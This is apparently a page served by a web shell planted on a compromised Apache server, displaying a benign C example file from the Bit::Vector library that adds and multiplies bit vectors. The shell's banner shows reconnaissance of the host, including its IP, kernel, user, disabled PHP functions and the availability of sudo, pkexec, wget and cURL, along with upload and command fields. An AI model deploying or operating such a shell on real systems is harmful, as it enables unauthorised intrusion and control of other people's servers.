403Webshell
Server IP : 104.21.38.3  /  Your IP : 108.162.227.129
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/libbit-vector-perl/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/libbit-vector-perl/examples/test.c
/*****************************************************************************/
/*                                                                           */
/*    Copyright (c) 2002 - 2013 by Steffen Beyer.                            */
/*    All rights reserved.                                                   */
/*                                                                           */
/*    This program is free software; you can redistribute it                 */
/*    and/or modify it under the same terms as Perl itself.                  */
/*                                                                           */
/*****************************************************************************/

/******************************************************/
/*                                                    */
/*  Example for using the BitVector.c library from C  */
/*                                                    */
/*  (Just for playing around; also shows how one can  */
/*   deal with error handling)                        */
/*                                                    */
/*  Copy ToolBox.h, BitVector.h and BitVector.o to    */
/*  this directory, then compile this file and link   */
/*  with BitVector.o, e.g. with                       */
/*                                                    */
/*           gcc -o test test.c BitVector.o           */
/*                                                    */
/******************************************************/

#include <stdio.h>
#include "ToolBox.h"
#include "BitVector.h"

void ListErrCode(ErrCode code)
{
    if (code) fprintf(stdout, "BitVector ErrCode %2d: %s\n", code, BitVector_Error(code));
}

void PrintErrorMessage(ErrCode code, char *name)
{
    if (code) fprintf(stdout, "Bit::Vector::%s(): %s\n", name, BitVector_Error(code));
}

#define FATAL_ERROR(name,code) \
{ fprintf(stderr, "Bit::Vector::" name "(): %s\n", BitVector_Error(code)); exit(code); }

int main(void)
{
    N_int bits = 5;
//  N_char x[] = "001010";  /* 10 */
    N_char x[] = "001x10";  /* 10 */
//  N_char y[] = "000100";  /*  4 */
//  N_char y[] = "000111";  /*  7 */
    N_char y[] = "001111";  /* 63 */
    wordptr X;
    wordptr Y;
    wordptr Z;
    ErrCode err;
    boolean ovrflw;
    boolean carry = false;

    ListErrCode( 0);
    ListErrCode( 1);
    ListErrCode( 2);
    ListErrCode( 3);
    ListErrCode( 4);
    ListErrCode( 5);
    ListErrCode( 6);
    ListErrCode( 7);
    ListErrCode( 8);
    ListErrCode( 9);
    ListErrCode(10);
    ListErrCode(11);
    ListErrCode(12);
    ListErrCode(13);
    ListErrCode(14);
    ListErrCode(15);
    ListErrCode(16);
    ListErrCode(17);
    ListErrCode(18);
    ListErrCode(19);
    ListErrCode(20);

    err = BitVector_Boot();
    if (err) FATAL_ERROR("Boot", err);

    printf("Number of bits in a WORD: %d\n", BitVector_Word_Bits());
    printf("Number of bits in a LONG: %d\n", BitVector_Long_Bits());

    X = BitVector_Create(bits, 1);
    if (X == NULL) FATAL_ERROR("Create", ErrCode_Null);

    err = BitVector_from_Bin(X, x);
    PrintErrorMessage(err,"from_Bin");

    Y = BitVector_Create(bits, 1);
    if (Y == NULL) FATAL_ERROR("Create", ErrCode_Null);

    err = BitVector_from_Bin(Y, y);
    PrintErrorMessage(err,"from_Bin");

    Z = BitVector_Create(bits, 1);
    if (Z == NULL) FATAL_ERROR("Create", ErrCode_Null);

    ovrflw = BitVector_add(Z, X, Y, &carry);

    printf("result of %s + %s is %s (carry = %d, overflow = %d)\n",
        BitVector_to_Dec(X),  /* Beware of the memory leaks here!  */
        BitVector_to_Dec(Y),  /* Should call "BitVector_Dispose()" */
        BitVector_to_Dec(Z),  /* on these strings after use!       */
        carry, ovrflw);

    err = BitVector_Multiply(Z, X, Y);

    printf("result of %s * %s is %s\n",
        BitVector_to_Dec(X),  /* Beware of the memory leaks here!  */
        BitVector_to_Dec(Y),  /* Should call "BitVector_Dispose()" */
        BitVector_to_Dec(Z)); /* on these strings after use!       */

    PrintErrorMessage(err,"Multiply");

    return(0);
}


Youez - 2016 - github.com/yon3zu
LinuXploit